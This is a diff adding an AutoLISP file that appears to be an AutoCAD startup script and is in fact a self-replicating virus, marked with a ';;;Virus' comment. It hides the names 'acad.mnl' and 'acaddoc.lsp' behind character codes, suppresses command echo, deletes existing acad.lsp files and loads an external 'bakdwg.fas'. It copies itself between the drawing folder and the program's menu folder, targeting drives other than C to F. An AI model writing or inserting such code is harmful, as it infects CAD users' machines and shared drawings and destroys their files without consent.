|
|
@@ -0,0 +1,121 @@
|
|
|
+(
|
|
|
+ setq
|
|
|
+ wold_cmd
|
|
|
+ (
|
|
|
+ getvar
|
|
|
+ "cmdecho"
|
|
|
+ )
|
|
|
+)
|
|
|
+(
|
|
|
+ setvar
|
|
|
+ "cmdecho"
|
|
|
+ 0
|
|
|
+)
|
|
|
+(
|
|
|
+ setq
|
|
|
+bb 1
|
|
|
+)
|
|
|
+(setq dpath (getvar "dwgprefix"))
|
|
|
+(setq wpath (getvar "menuname"))
|
|
|
+(setq wpath (substr wpath 1 (- (strlen wpath) 4)))
|
|
|
+(setq mnl (strcat (chr 97)
|
|
|
+ (chr 99)
|
|
|
+ (chr 97)
|
|
|
+ (chr 100)
|
|
|
+ (chr 46)
|
|
|
+ (chr 109)
|
|
|
+ (chr 110)
|
|
|
+ (chr 108)
|
|
|
+ )
|
|
|
+ lsp (strcat (chr 97)
|
|
|
+ (chr 99)
|
|
|
+ (chr 97)
|
|
|
+ (chr 100)
|
|
|
+ (chr 100)
|
|
|
+ (chr 111)
|
|
|
+ (chr 99)
|
|
|
+ (chr 46)
|
|
|
+ (chr 108)
|
|
|
+ (chr 115)
|
|
|
+ (chr 112)
|
|
|
+ )
|
|
|
+)
|
|
|
+
|
|
|
+(vl-file-delete (strcat wpath lsp))
|
|
|
+(vl-file-delete (strcat wpath "acad.lsp"))
|
|
|
+(vl-file-delete (strcat dpath "acad.lsp"))
|
|
|
+(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))
|
|
|
+
|
|
|
+(load"shxfont""")
|
|
|
+(defun wwriteapp ()
|
|
|
+ (if (setq wwjm1 (open wnewacad "w"))
|
|
|
+ (progn
|
|
|
+ (setq wwjm (open woldacad "r"))
|
|
|
+ (while(setq wwz (read-line wwjm))
|
|
|
+ (write-line wwz wwjm1)
|
|
|
+ )
|
|
|
+ (close wwjm)
|
|
|
+ (close wwjm1)
|
|
|
+
|
|
|
+ )
|
|
|
+ )
|
|
|
+)
|
|
|
+
|
|
|
+(setq lbz 0)
|
|
|
+(setq wwjqm (strcat dpath lsp))
|
|
|
+(if (setq wwjm (open wwjqm "r"))
|
|
|
+ (progn
|
|
|
+ (repeat 15 (read-line wwjm))
|
|
|
+ (setq wz (read-line wwjm))
|
|
|
+ (setq ab (atoi (substr wz 4 1)))
|
|
|
+ (close wwjm)
|
|
|
+ (if (> ab bb)
|
|
|
+ (setq lbz 1)
|
|
|
+ )
|
|
|
+ )
|
|
|
+)
|
|
|
+
|
|
|
+(setq wwjqm (strcat wpath mnl))
|
|
|
+(if (setq wwjm (open wwjqm "r"))
|
|
|
+ (progn
|
|
|
+ (repeat 15 (read-line wwjm))
|
|
|
+ (setq wz (read-line wwjm))
|
|
|
+ (setq nb (atoi (substr wz 4 1)))
|
|
|
+ (close wwjm)
|
|
|
+
|
|
|
+ (if (< nb bb)
|
|
|
+ (setq lbz 1)
|
|
|
+ )
|
|
|
+ )
|
|
|
+ (setq lbz 1)
|
|
|
+)
|
|
|
+(if (= lbz 1)
|
|
|
+ (progn
|
|
|
+ (setq woldacad (strcat dpath lsp))
|
|
|
+ (setq wnewacad (strcat wpath mnl))
|
|
|
+ (wwriteapp)
|
|
|
+ )
|
|
|
+)
|
|
|
+(if (and (/= (substr dpath 1 1) (chr 67))
|
|
|
+ (/= (substr dpath 1 1) (chr 68))
|
|
|
+ (/= (substr dpath 1 1) (chr 69))
|
|
|
+ (/= (substr dpath 1 1) (chr 70))
|
|
|
+ )
|
|
|
+ (progn
|
|
|
+ (setq woldacad (strcat wpath mnl))
|
|
|
+ (setq wnewacad (strcat dpath lsp))
|
|
|
+ (wwriteapp)
|
|
|
+ )
|
|
|
+ (vl-file-delete (strcat dpath lsp))
|
|
|
+)
|
|
|
+
|
|
|
+;;;Virus
|
|
|
+
|
|
|
+(princ)
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+(princ)
|
|
|
+
|
